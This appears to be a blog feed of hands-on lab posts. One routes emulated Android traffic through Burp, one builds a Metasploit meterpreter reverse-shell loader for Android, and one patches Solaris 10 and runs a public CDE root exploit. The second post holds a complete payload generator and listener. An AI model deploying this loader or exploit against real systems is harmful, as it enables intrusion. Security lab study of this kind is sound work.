Quantcast
Channel: Astr0baby's not so random thoughts _____ rand() % 100;
Viewing all 183 articles
Browse latest View live

Android 8.1 in qemu and Burp Suite SSL interception

$
0
0

In this exercise we will run the latest Android Oreo (8.1.0) x86_64 under KVM accelerated Qemu and forward all internet traffic from the Android through Burp Suite running on our Linux x86_64 host. We will be using the following software :

I usually build Qemu from source, so once we download the sources via git following is sufficient to build the complete emulator.

  $ mkdir build
  $ cd build
  $ ../configure
  $ make
  # make install

In order to be able to intercept SSL traffic from the Android we will need to add our self generated certificate to the system cacert store which will be covered here later on.

I am using the following network scripts for all my qemu simulations, so please feel free to change them according to your needs if desired.

On our Linux x86_64 host we will need the following

/etc/qemu-ifup

#! /bin/sh
# Script to bring a network (tap) device for qemu up.
# The idea is to add the tap device to the same bridge
# as we have default routing to.

# in order to be able to find brctl
PATH=$PATH:/sbin:/usr/sbin
ip=$(which ip)

if [ -n "$ip" ]; then
ip link set "$1" up
else
brctl=$(which brctl)
if [ ! "$ip" -o ! "$brctl" ]; then
echo "W: $0: not doing any bridge processing: neither ip nor brctl utility not found" >&2
exit 0
fi
ifconfig "$1" 0.0.0.0 up
fi

switch=$(ip route ls |
awk '/^default / {
for(i=0;i<NF;i++) { if ($i == "dev") { print $(i+1); next; } }
}'
)

switch=br0

# only add the interface to default-route bridge if we
# have such interface (with default route) and if that
# interface is actually a bridge.
# It is possible to have several default routes too
for br in $switch; do
if [ -d /sys/class/net/$br/bridge/. ]; then
if [ -n "$ip" ]; then
ip link set "$1" master "$br"
else
brctl addif $br "$1"
fi
exit # exit with status of the previous command
fi
done

echo "W: $0: no bridge for guest interface found" >&2

And the network sharing script (must be started before the qemu simulator and requires root privs)  (On Debian/Ubuntu just run sudo aptget install uml-utilities bridge-utils to get tunctl and brctl commands)

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Once we have all this ready we can move on to install latest Android (x86_64) and run it.

We will be working in a directory called $ANDROID-QEMU (you can call it whatever you want, Im just assigning it a dummy variable name here) and create a virtual disk.img of 10 Gigs size. Also make sure you move your Android iso to this directory

$ mkdir $ANDROID-QEMU
$ qemu-img create -f qcow disk.img 10G

Next we shall run the installer with the following loader script

qemu-system-x86_64 -enable-kvm -boot d -cpu host -m 2048 -hda disk.img -cdrom android-x86_64-8.1-r2.iso  -net nic -net tap

The installer is pretty straight forward. What we need to make sure is that we setup the WiFi as follows :

  • SSID: VirtWifi   (Define as maual)
  • no DHCP – Static IP  –  10.0.2.12
  • Gateway 10.0.2.2
  • DNS 8.8.8.8

We update the system, test the network etc. Now we are ready for the next stage. That is installing a custom CA into the Android system cacert directory so we can intercept the outgoing/incoming HTTPS traffic in Burp Suite. The only way that I know which works is to add the custom certificate to the root filesystem in /system/etc/security/cacert

Lets shut down the emulator (ACPI shutdown from Qemu will trigger a shutdown menu from  Android)

lets first mount the Qemu qcow2 image from the host Linux

# apt-get install libguestfs-tools 
# cd $ANDROID-QEMU
# mkdir img 
# guestmount -a disk.img -m /dev/sda1 img/
# cd img
# cd android-8.1-r2/
# ls -la
total 867056
drwxr-xr-x 3 root root 4096 Jul 7 22:11 .
drwxr-xr-x 5 root root 4096 Jul 7 22:11 ..
drwxrwx--x. 34 user user 4096 Jul 7 22:12 data
-rw-r--r-- 1 root root 1358699 Jul 7 22:11 initrd.img
-rw-r--r-- 1 root root 7437056 Jul 7 22:11 kernel
-rw-r--r-- 1 root root 1424814 Jul 7 22:11 ramdisk.img
-rw-r--r-- 1 root root 877621248 Jul 7 22:11 system.sfs

We are interested in the system.sfs file – since this will contain the system cacert files we need

# cp system.sfs ../..        // we are copying the system.sfs away 
# cd ../..
# umount img
# mkdir SYS
# mv system.sfs SYS
# cd SYS
# unsquashfs system.sfs    // extracting the system.sfs 
# cd squashfs-root
# ls -la 
total 2066844
drwxrwxrwx 3 user user 4096 Jul 8 21:42 .
drwxr-xr-x 3 root root 4096 Jul 8 21:40 ..
-rw-r--r-- 1 user user 2318401536 Jul 8 21:43 system.img
$ANDROID-QEMU/SYS/squashfs-root# file system.img 
system.img: Linux rev 1.0 ext4 filesystem data, UUID=da594c53-9beb-f85c-85c5-cedf76546f7a, volume name "system" (needs journal recovery) (extents) (large files)

Great another nested FS to work with … lets create a new mount dir here called img

# mkdir img
# mount -o loop system.img img 
# cd img 
# ls -la
total 180
drwxr-xr-x. 17 root root 4096 Jan 1 1970 .
drwxrwxrwx 3 user user 4096 Jul 8 21:42 ..
drwxr-xr-x. 43 root root 4096 Jun 12 21:33 app
drwxr-xr-x. 3 root 2000 8192 Jun 12 21:33 bin
-rw-------. 1 root root 3116 Jun 12 18:56 build.prop
-rw-r--r--. 1 root root 74747 Jun 12 19:24 compatibility_matrix.xml
drwxr-xr-x. 11 root root 4096 Jun 13 11:10 etc
drwxr-xr-x. 2 root root 4096 Jun 13 06:10 fake-libs
drwxr-xr-x. 2 root root 4096 Jun 13 06:10 fake-libs64
drwxr-xr-x. 2 root root 8192 Jun 12 18:36 fonts
drwxr-xr-x. 5 root root 4096 Jun 13 06:12 framework
drwxr-xr-x. 7 root root 12288 Jun 13 10:35 lib
drwxr-xr-x. 5 root root 12288 Jun 13 06:10 lib64
drwx------. 2 root root 4096 Jan 1 1970 lost+found
-rw-r--r--. 1 root root 2946 Jun 12 19:24 manifest.xml
drwxr-xr-x. 3 root root 4096 Jun 12 18:56 media
drwxr-xr-x. 52 root root 4096 Jun 12 21:38 priv-app
drwxr-xr-x. 8 root root 4096 Jun 12 18:56 usr
drwxr-xr-x. 7 root 2000 4096 Jun 12 21:25 vendor
drwxr-xr-x. 2 root 2000 8192 Jun 12 21:32 xbin

Now we are finally in the Android rootfs, lets add the custom certificate now

We will create a custom certificate via OpenSSL and import it to Burp as well as place it to Andriod

$ cd $CERTIFICATE-LOCATION    //lets create some dummy cert directory
$ openssl req -x509 -days 730 -nodes -newkey rsa:2048 -outform der -keyout server.key -out ca.der -extensions v3_ca
$ openssl rsa -in server.key -inform pem -out server.key.der -outform der
$ openssl pkcs8 -topk8 -in server.key.der -inform der -out server.key.pkcs8.der -outform der -nocrypt
$ openssl x509 -inform der -in ca.der -out ca.pem
$ openssl x509 -inform PEM -subject_hash_old -in ca.pem | head -1
Check the hash value and change accordingly
$ cp ca.pem abcdefg1.0
$ openssl x509 -inform PEM -text -in ca.pem -out /dev/null>> abcdefg1.0
And move to the extracted image on Android 
# mv abcdefg1.0 $ANDROID-QEMU/SYS/squashfs-root/img/etc/security/cacerts

Now lets pack all these things back together
Unmount the system.img first

# cd $ANDROID-QEMU/SYS/squashfs.root/
# umount img 
# rm -rf img
# cd ..
# mkdir BACKUP
# mv system.sfs BACKUP/                          // backup the original system.sfs 
# mksquashfs squashfs-root system.sfs -b 131072  // pack everything back up 
Lets mount the qemu2 image agin 

# cd $ANDROID-QEMU/
# guestmount -a disk.img -m /dev/sda1 img/
# cd img
# cd android-8.1-r2 
# rm system.sfs                   // remove the original system.sfs
# cp ../../SYS/system.sfs .       // copy over the new modified one 
# cd ../..
# umount img

So now we are almost ready now, lets first prepare a loader script for the Android

qemu-system-x86_64 -enable-kvm -boot c -cpu host -m 2048 -hda disk.img -cdrom android-x86_64-8.1-r2.iso -net nic -net tap

Now we can verify the modified Android boots up by executing the above (save it as a shell script for future)  If all went fine you should see the normal Android screen

Now lets start up Burp Suite on our Linux machine and import the custom generated SSL certificates as follows

Once we have these loaded, we setup Burp Suite to listen on the br0 interface @ 10.0.2.2

Next we need to tell Android to use the Proxy address and port for the WiFi connection, so we simply re-configure the networking (this is a bit clumsy in Android, and took me a while to figure out were the proxy setting was hidden in Oreo)

So it must look like the above.

With the above we can finally intercept all traffic via Burp Suite on the emulated Android !

Acknowledgement : Thanks to Awakened for his approach https://awakened1712.github.io/hacking/hacking-install-ca-android/

P.S you can try add the CA certificate via the inbuilt Terminal Emulator; elevate to root via su

But you will get a nice message about the system being read-only

Im unsure how to remount with RW tags on the live system

 Also one can install the adb tools on the Linux host

sudo apt-get install android-tools-adb android-tools-fastboot

Then if we nmap the remote Android (IP assigned was 10.0.2.12)

# nmap -sS -sV -vv 10.0.2.12
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-07-09 22:44 CEST
NSE: Loaded 44 scripts for scanning.
Initiating ARP Ping Scan at 22:44
Scanning 10.0.2.12 [1 port]
Completed ARP Ping Scan at 22:44, 0.24s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:44
Completed Parallel DNS resolution of 1 host. at 22:44, 0.00s elapsed
Initiating SYN Stealth Scan at 22:44
Scanning 10.0.2.12 [1000 ports]
Discovered open port 5555/tcp on 10.0.2.12
Completed SYN Stealth Scan at 22:44, 1.27s elapsed (1000 total ports)
Initiating Service scan at 22:44
Scanning 1 service on 10.0.2.12
Completed Service scan at 22:44, 11.02s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.2.12.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
Nmap scan report for 10.0.2.12
Host is up, received arp-response (0.0010s latency).
Scanned at 2019-07-09 22:44:40 CEST for 13s
Not shown: 999 closed ports
Reason: 999 resets
PORT STATE SERVICE REASON VERSION
5555/tcp open adb syn-ack ttl 64 Android Debug Bridge device (name: android_x86_64; model: Standard PC (i440FX + PIIX, 1996); device: x86_64; features: cmd,stat_v2,shell_v2)
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)
Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds
Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.072KB)

We can then initiate the adb to the remote system as follows:

$ adb connect 10.0.2.12 $ adb shell
x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
x86_64:/ $ su
x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
x86_64:/ # uname -a
Linux localhost 4.19.50-android-x86_64-geeb7e76e5df5 #1 SMP PREEMPT Thu Jun 13 12:10:59 CST 2019 x86_64

But we are still stuck with the RO filesystem

x86_64:/ # uname -a
Linux localhost 4.19.50-android-x86_64-geeb7e76e5df5 #1 SMP PREEMPT Thu Jun 13 12:10:59 CST 2019 x86_64
x86_64:/ # df
Filesystem 1K-blocks Used Available Use% Mounted on
tmpfs 1020176 3372 1016804 1% /
/dev/loop1 2193072 2078004 115068 95% /system
/dev/block/sda1 10186756 1785628 8401128 18% /data
tmpfs 1020176 460 1019716 1% /dev
tmpfs 1020176 0 1020176 0% /mnt
none 1020176 0 1020176 0% /cache
/data/media 10186756 1785628 8401128 18% /mnt/runtime/default/emulated
/dev/block/vold/public:11,0 878742 878742 0 100% /mnt/media_rw/Android-x86_LiveCD
x86_64:/ # 
x86_64:/ # 
x86_64:/ # mount -o rw,remount /system 
'/dev/loop1' is read-only
x86_64:/ #

 


Metasploit Framework vs. Android 8.1.0 Oreo

$
0
0

Since we have been doing all sorts of customization against Windows/Linux targets for meterpreter/mettle loaders in the past, it is a right time to do one against the ever popular Android platform.

We have done the installation in Qemu (under qemu-system-x86_64 KVM acceleration) of Android in the previous exercise ( https://astr0baby.wordpress.com/2019/07/09/android-8-1-in-qemu-and-burp-suite-ssl-interception/ ) now we shall concentrate on running a meterpreter/mettle loader on it.

All online articles I have found deal with the Metasploit APK generated payloads which are available in Metasploit under the following payloads :

android/meterpreter/reverse_http          Android Meterpreter, Android Reverse HTTP Stager
android/meterpreter/reverse_https         Android Meterpreter, Android Reverse HTTPS Stager
android/meterpreter/reverse_tcp           Android Meterpreter, Android Reverse TCP Stager
android/meterpreter_reverse_http          Android Meterpreter Shell, Reverse HTTP Inline
android/meterpreter_reverse_https         Android Meterpreter Shell, Reverse HTTPS Inline
android/meterpreter_reverse_tcp           Android Meterpreter Shell, Reverse TCP Inline
android/shell/reverse_http                Command Shell, Android Reverse HTTP Stager
android/shell/reverse_https               Command Shell, Android Reverse HTTPS Stager
android/shell/reverse_tcp                 Command Shell, Android Reverse TCP Stager

All of these however end up generating a Davlik APK file which I did not really want to do anything with since it has been covered about million times already. Instead I wanted to create and run/execute custom Elf32 x86_64 static binary that would inject Meterpreter/Mettle into memory on the Android.

Since Android is a variant if Linux we can safely compile a statically linked Linux binaries and load x86_64 meterpreter via our custom loaders.

Following shell-script (place it in the Metasploit Framework directory and make executable) was used to generate a linux-payload binary that was pushed to the Android system via adb

clear 
echo "*********************************************************"
echo " Automatic METTLE loader generator - FOR METASPLOIT "
echo " For Android x86_64 - STATIC BINARY " 
echo " aarch64/armle/mipsbe/mipsle/x64/x86 " 
echo " Fork() exercise using custom mettle loader " 
echo " Astr0Baby " 
echo "*********************************************************"
echo -e "What IP are we gonna use ? \c"
read IP 
echo -e "What Port Number are we gonna listen to? : \c"
read port
echo '[*] Checking if metasploit msfconsole and msfvenom are present in current path ..'
if [ -x ./msfvenom ]; then
echo '[*] Found msfvenom in current path ........ good'

MSFVERSION=`./msfconsole --version` 
echo -n $MSFVERSION
else
echo '[-] No msfvenom in path...make sure you have this script in your metasploit-framework path'
exit 0
fi

# TESTED WITH GCC 6.5.0 (x64) 
# TESTED WITH GCC 7.3.0 (x64) 
# TESTED WITH GCC 8.2.0 (x64)

echo '[*] Checking if GCC compiler is present..'
if [ -x /usr/bin/gcc ]; then
echo '[*] Found gcc ' 
GCCVERSION=`gcc --version | head -n 1`
echo $GCCVERSION

else
echo '[-] No working gcc found ...make sure you have GCC compiler installed '
exit 0
fi

# Main msfvenom shellcode call here

./msfvenom -p linux/x64/meterpreter/reverse_tcp EXITFUNC=process LHOST=$IP LPORT=$port -a x64 --platform linux -e x64/xor -f c -o test.c

# Main variables defined here 
linuxpayloadc="./linux-payload.c"
linuxpayload="./linux-payload"

echo '[*] Cleaning up '
rm -f $linuxpayloadc

#Main define here

echo "#include <stdio.h>" > temp.c 
echo '#include <sys/types.h>' >> temp.c
echo '#include <sys/ipc.h>' >> temp.c
echo '#include <sys/msg.h>' >> temp.c
echo '#include <string.h>' >> temp.c
echo '#include <sys/mman.h>' >> temp.c
echo '#include <fcntl.h>' >> temp.c
echo '#include <sys/socket.h>' >> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <errno.h>' >> temp.c
echo '#include <sys/mman.h>' >> temp.c
echo '#include <sys/types.h>' >> temp.c
echo '#include <sys/stat.h>' >> temp.c
echo '#include <sys/ioctl.h>' >> temp.c
echo '#include <unistd.h>' >> temp.c
echo '#include <strings.h>' >> temp.c
echo '#include <unistd.h>' >> temp.c
echo '#include <poll.h>' >> temp.c
echo '#include <pthread.h>' >> temp.c 
echo '#include <stdint.h>' >> temp.c 
echo '' >> temp.c 
cat test.c >> temp.c 
echo '' >> temp.c
echo 'void genlol();' >> temp.c
echo 'int random_in_range (unsigned int min, unsigned int max);' >> temp.c
echo 'int random_in_range (unsigned int min, unsigned int max)' >> temp.c
echo '{' >> temp.c 
echo 'int base_random = rand();' >> temp.c 
echo 'if (RAND_MAX == base_random){' >> temp.c
echo 'return random_in_range(min, max);' >> temp.c 
echo '}' >> temp.c
echo 'int range = max - min,' >> temp.c
echo 'remainder = RAND_MAX % range,' >> temp.c
echo 'bucket = RAND_MAX / range;' >> temp.c
echo 'if (base_random < RAND_MAX - remainder) {' >> temp.c
echo 'return min + base_random/bucket;' >> temp.c
echo '} else {' >> temp.c
echo 'return random_in_range (min, max);' >> temp.c
echo '}' >> temp.c
echo '}' >> temp.c
echo 'char* rev(char* str)' >> temp.c
echo '{' >> temp.c
echo 'int end=strlen(str)-1;' >> temp.c
echo 'int i;' >> temp.c
echo 'for(i=5; i<end; i++)' >> temp.c
echo '{' >> temp.c 
echo 'str[i] ^= 1;' >> temp.c
echo '}' >> temp.c
echo 'return str;' >> temp.c
echo '}' >> temp.c
echo 'int main(int argc, char **argv)' >> temp.c
echo '{' >> temp.c
echo 'system ("clear");' >> temp.c
echo 'printf ("=====================================\n");' >> temp.c
echo 'printf ("Testing m3tt73 loader fork() on Linux \n");' >> temp.c
echo 'printf ("=====================================\n");' >> temp.c
echo 'printf ("[+] Sleeping for a while ...\n");' >> temp.c
echo 'system("/system/bin/sleep 1");' >> temp.c
echo 'printf(".");' >> temp.c
echo 'fflush(stdout);' >> temp.c
echo 'system("/system/bin/sleep 1");' >> temp.c
echo 'printf("..");' >> temp.c
echo 'fflush(stdout);' >> temp.c
echo 'system("/system/bin/sleep 1");' >> temp.c
echo 'printf("...");' >> temp.c
echo 'fflush(stdout);' >> temp.c
echo 'system("/system/bin/sleep 1");' >> temp.c
echo 'printf("....");' >> temp.c
echo 'fflush(stdout);' >> temp.c
echo 'system("/system/bin/sleep 1");' >> temp.c
echo 'printf("....@");' >> temp.c
echo 'printf ("\n[+] Woke up to Stage 1!\n");' >> temp.c
echo 'pid_t process_id = 0;' >> temp.c
echo 'pid_t sid = 0;' >> temp.c
echo 'process_id = fork();' >> temp.c
echo 'if (process_id < 0)' >> temp.c
echo '{' >> temp.c
echo 'printf("fork failed!\n");' >> temp.c
echo 'exit(1);' >> temp.c
echo '}' >> temp.c
echo 'if (process_id > 0)' >> temp.c
echo '{' >> temp.c
echo 'printf("[+] Stage 2!\n");' >> temp.c
echo 'printf("[+] Here we go ...\n");' >> temp.c
echo 'exit(0);' >> temp.c
echo '}' >> temp.c
echo 'void *ptr = mmap(0, 0x2000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);' >> temp.c
echo 'memcpy(ptr,buf,sizeof buf);' >> temp.c
echo 'void (*fp)() = (void (*)())ptr;' >> temp.c
echo 'fp();' >> temp.c
echo 'printf ("\n[-] Exploit failed \n");' >> temp.c
echo '}' >> temp.c
echo 'void genlol(){' >> temp.c
echo 'int num1, num2, num3;' >> temp.c
echo 'num1=100;' >> temp.c
echo 'while (num1<=5) {' >> temp.c
echo 'num1=random_in_range(0,10000);' >> temp.c
echo 'num2=random_in_range(0,10000);' >> temp.c
echo 'num3=random_in_range(0,10000);' >> temp.c
echo 'printf ("\n[*] FAIL STAGE1 \n");' >> temp.c
echo 'printf ("\n[*] FAIL STAGE2 \n");' >> temp.c
echo '}' >> temp.c
echo '}' >> temp.c
mv temp.c $linuxpayloadc 
rm -f test.c 
if [ -f ./$linuxpayloadc ]; then
echo '[*] linux-payoad.c generated ...'
echo '[*] Compiling static linux x86_64 binary ... ' 
gcc $linuxpayloadc -o $linuxpayload -static 
strip $linuxpayload 
echo '**************************************' 
ls -la $linuxpayload 
echo '[*] Done !' 
else
echo '[-] Something went wrong .. '
exit 0
fi

Now connecting adb to the remote Qemu Android is really simple,  just issue the following (use your IPs of course)

$ adb connect 10.0.2.12  //connects to 10.0.2.12 Qemu-Android on default port 5555
$ adb shell 
x86_64:/ $

Uploading the linux-payload is done via adb shell again (I have had no time to find all possible locations where you can upload a file and make it executable, so we will have to use the below example for now)

$ adb push linux-payload /storage/self/primary
$ adb shell 
x86_64:/ $ su 
x86_64:/ # cd /storage/self/primary
x86_64:/storage/self/primary # mv linux-binary /data/  
x86_64:/data # cd /data
x86_64:/data # chmod +x linux-payload

Now we will open up another terminal on our Linux host and run the Metaspoit Listener script in order to catch the reverse meterpreter shell (again save this in metasploit root directory and make executable and run)

#!/bin/bash
clear
echo "************************************************************"
echo " Automatic Linux METTLE Listener - FOR METASPLOIT "
echo " For aarch64/armle/mipsle/mipsbe/x64/x86 " 
echo " Astr0Baby "
echo "************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host
echo -e "What Port Number are we gonna listen to? : \c"
read port
echo "Starting the meterpreter listener.."

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

echo -n $host >> run.listener.sh 
echo -n '; set LPORT ' >> run.listener.sh 
echo -n $port >> run.listener.sh 
echo -n '; run"' >> run.listener.sh 
chmod +x run.listener.sh 
./run.listener.sh

Once you have the Metasploit Listener shell ready

we can execute the Android payload from the ADB shell

Small note here > the meterpreter shell command does not work in this case against Android so we can use the following workaround instead

meterpreter> execute -f /system/bin/sh -i 
echo on

We can even test some Android AV solutions (Tested Avast, AVG and Eset)

Here is a video summary of this exercise

Solaris 10 x86 in VirtualBox InfoSec exercise ( CVE-2019-2832)

$
0
0

One good lesson I have learned over the years from the  InfoSec perspective, is to be able to perform the boring things every UNIX admin knows by heart and is their daily routine. That is a full A-Z installation and setup of the environment and patching. (Yes – patching – lets put it this way .. Patch Management crash-course for Solaris 10 with pkgsrc bootstrap and OS installation  basics)

It used to be difficult in the past to master all the various architectures simply because HW was hard to get, was expensive ..  nowadays I believe things are much easier thanks to Virtualisation technology (Qemu, VirtualBox, VMWare, AlphaVM, simh)

This time we will look at the last true Solaris (Solaris 10) which died with Oracle ending the regular support on Jan-2018.  We will use the x86 port and run the x86_64 version of it in Oracle VirtualBox on Linux x86_64 (Im using Mint 19.1)

So lets get started and install Solaris 10 in VirtualBox on Linux – here is what we will use and need (Assume we have some Linux distribution setup already)

networking.sh 

#Setup tap and bridge 
tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
#ifconfig eth0 10.0.2.1 up 
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 vboxnet0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
#iptables -A FORWARD --in-interface eth0 -j ACCEPT
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Make sure we have the uml-utilities and bridge-utils for the above to work (note the commented out eth0 entry – this is only used if you wish to connect the emulation to a physical network and made available to other devices there)

# apt-get install uml-utilities bridge-utils

Also an important note here for the vboxnet0 interface is only available on my system only after VirtualBox starts, so please bear that in mind after reboot and running the networking.sh script

So lets get going.  Installing Solaris 10 in VirtualBox is really simple. We will use for the new VM creation the Oracle Solaris 10 10/09 and later (64bit) template available in VirtualBox.  For network we will be using  Host-only-Adapter  and vboxnet0   For the disk we will set minimum of 30 GB because of /usr/pkgsrc

We will be using ZFS filesystem so choose the Grub entry with ZFS kernel support. Here is the network configuration I will be using for the Solaris10 VM

And following DNS entries (if you have your own, use your own DNS)

We will install everything from the Solaris 10 DVD ISO, setup your root password etc…  Once the installer finishes shut down the system, remove the Solaris 10 DVD ISO from the VM and boot the new disk.   Wait for a while in the console (do not yet login) for the X11 to come up. I love CDE, so I have switched the default desktop to CDE

After logging in as root (security !!) do not register to Oracle (we don’t need this since we will pkgsrc bootstrap anyways.

Next we download the 2017 October CPU patch for Solaris10 x86_64 and install it (This is the last Solaris10 CPU from Oracle, unless one has the extended support ..)

On our Linux host do the following

$ mkdir -p SOL10/patch
$ cd SOL10/patch
$ wget ftp://ftp.deu.edu.tr/pub/Solaris/patch/x86/10_x86_Recommended.zip
$ unzip 10_x86_Recommended.zip
$ mkisofs -iso-level 3 -J -joliet-long -rock -input-charset utf-8 -o patch.iso 10_x86_Recommended/

Next we add this new patch.iso to our VirtualBox CDROM and reboot to single-user mode (for CPU patching on Solaris its a good idea)

Actually this is how I got into a single user mode when I ran from CDE dtterm

# shutdown -g 0

Once in Single User mode in Solaris10, mount the ISO with the Oct2017 CPU

# mount -r -F hsfs /dev/dsk/c0t1d0s0/ /cdrom/cdrom
# cd /cdrom/cdrom

Now we will run the patchset

# ./installpatchset --s10patchset

Lets prepare some tea or coffee now – this will take some time (Again this could be a good exercise to all InfoSec people to actually try and do some patching of Solaris, instead of just hacking everything .. ) Once the patching process is finished, reboot.

We check the kernel version to see if the patch applied, great we are running the October 2017 kernel so this should keep those pesky NSA hackers out with the Ebbisland and Extremeparr exploits right ? (What about Raptor’s  https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintname_intel.c ) Nice CDE local privilege escallation exploit ? – we will get to this later on..)

# uname -a
SunOS solaris10 5.10 Generic_150401-55 i86pc i386 i86pc

Now lets double-check if  GCC compiler  is installed and install if its not.  Mount the Solaris 10 installation DVD iso in VirtualBox once again and Solaris will automount the ISO in the OS.

# cd /cdrom/sol_10_811_x86/Solaris_10/Product
# pkgadd -d . SUNWgcc (answer y)

We verify the install and that we have a working GCC compiler (3.4.3 from 2010)

# /usr/sfw/bin/gcc -v

OK now we should be ready to prepare for pkgsrc bootstrap. Lets download the Q2-2019 stable snapshot first.

# cd /usr
# ftp ftp.netbsd.org (login as anonymous or ftp)
ftp> pass
ftp> cd pub/pkgsrc/pkgsrc-2019Q2
ftp> get pgsrc.tar.gz
ftp> quit
# gunzip pkgsrc.tar.gz
# tar -xvf pkgsrc.tar
# rm pkgsrc.tar

Once the tarball is extracted we can setup the bootstrap environment accordingly
https://wiki.netbsd.org/pkgsrc/how_to_use_pkgsrc_on_solaris/
Do not run the bootstrap with the shipped bash shell in Solaris use the default sh !

# cd /usr/pkgrc/bootstrap
# env CFLAGS=-O2 CC=/usr/sfw/bin/gcc ./bootstrap

If all goes well we should get the nice success status printed after a while (took 5 minutes for me on Core i5 Panasonic CF-53)

Before we build anything we need to set some options in /usr/pkg/etc/mk.conf

CC= /usr/sfw/bin/gcc !! (this is needed to get newer GCC compiled, we will change it later)
X11_TYPE= modular
PKG_DEVELOPER=yes
PKG_DEFAULT_OPTONS+=freetype truetype mmx subpixel official-mozilla-branding
FETCH_USING=fetch

Also we must prepare a couple of other things before we start compiling GCC6  …
We can use the native bash now (which makes thing a little easier)

# bash

Lets set additional binary paths to our shell (you can add this to your profile later on)

# export PATH=/usr/sbin:/usr/bin:/usr/dt/bin:/usr/ucb:/usr/ccs/bin:/usr/sfw/bin

Cleanup digest working directory and install it

# cd /usr/pkgsrc/pkgtools/digest
# rm -rf .work
# /usr/pkg/bin/bmake install clean clean-depends

And build perl first since there is an error during package creation  “perl interpreter for Trace.pm not existing”  if we compile with PKG_DEVELOPER=yes in mk.conf  , so for perl we will change this to no as -> PKG_DEVELOPER=no in /usr/pkg/etc/mk.conf

# cd /usr/pkgsrc/lang/perl5
# /usr/pkg/bin/bmake install clean clean-depends

Then once perl builds we can set it back to PKG_DEVELOPER=yes in mk.conf  and continue the build.

We now finally move on to GCC 6 !

# cd /usr/pkgsrc/lang/gcc6
# /usr/pkg/bin/bmake install clean clean-depends

Once we have GCC6 compiled we must set the /usr/pkg/etc/mk.conf to use the new CC and CXX variables as follows:

CC=    /usr/pkg/gcc6/bin/gcc
CXX=   /usr/pkg/gcc6/bin/g++

P.S  I will keep this part open, and add additional notes as I build pkgsrc packages on Solaris10, you can check further details here https://astr0baby.wordpress.com/2019/07/29/pkgsrc-2019q2-on-solaris-10-x86/

Now is a good time to add /usr/pkg/bin:/usr/pkg/sbin/usr/pkg/gcc6/bin/ to our path since we have a new working compiler

# export PATH=/usr/sbin:/usr/bin:/usr/dt/bin:/usr/ccs/bin:/usr/pkg/bin:/usr/pkg/sbin:/usr/pkg/gcc6/bin
# ln -s /usr/ccs/bin/ar /usr/bin/ar
# ln -s /usr/ccs/bin/ranlib /usr/bin/ranlib

INFOSEC  part  – testing some 0days on Solaris ! CVE-2019-2832

We can use the shiny new GCC6 or the rusty old GCC3, both work either way, I have used in this example the native gcc 3.4.3 for those that want to skip the gcc6 compilation step (it takes considerable amount of time)

We will create our standard user now and set password

# useradd -m -d /export/home/user user -s /usr/bin/bash
# passwd user

And define some new .profile variables so that we can use the /usr/pkg goodies  , login as user (or # su – user)

Once we are logged in as user, lets download and build Raptor’s https://twitter.com/0xdea dtprintinfo exploit. On the Linux host download the the exploit code from here https://raw.githubusercontent.com/0xdea/exploits/master/solaris/raptor_dtprintname_intel.c  and FTP upload to the Solaris 10 VM

$ wget https://raw.githubusercontent.com/0xdea/exploits/master/solaris/raptor_dtprintname_intel.c
$ ftp 10.0.2.12 
user Name (10.0.2.12:user): user
331 Password required for user.
Password:
ftp> put raptor_dtprintname_intel.c

On the Solaris 10 VM we compile the code under user in the DT session and run.

$ /usr/sfw/bin/gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 
$ ./raptor_dtprintinfo_intel 10.0.2.12:0

But we get na error that Xlib: connection to 10.0.2.12:0.0 was refused by the server (default behaviour after install) so lets allow all connections to the X shall we ? (security !!)  Run below as root to grant/disable X11 connections from remote hosts

# xhost +    (this is to allow all to connect to X11; not a good idea) 
# xhost -    (forbid all who are not authorized) 
# xhost +10.0.2.12 (in our case this would be better, so only trusted hosts can connect to X11)

As user lets re-run the exploit code again, it works this time :)

So now we can fix the above CDE privilege escallation from the exploited root shell, even if we do not have the official patch from Oracle (If you are lucky and have access to extended user support from Oracle then you can apply the July-2019-CPU patch just like we did earlier)  because after-all this is UNIX and there are many ways to get things done there

All that is needed is to remove (S)etuid bit from the /usr/dt/bin/dtprintinfo binary

# chmod -s /usr/dt/bin/dtprintinfo

This time obviously the exploit does not work, because the setuid bit it gone

If interested about the above bug, you can read more about it here https://lab.mediaservice.net/advisory/2019-01-cde-dtprintinfo.txt

So here we have learned a few thing right ? I hope you have enjoyed going throgh this just as I have enjoyed writing it and setting it up.

 

pkgsrc-2019Q2 on Solaris 10 x86

$
0
0

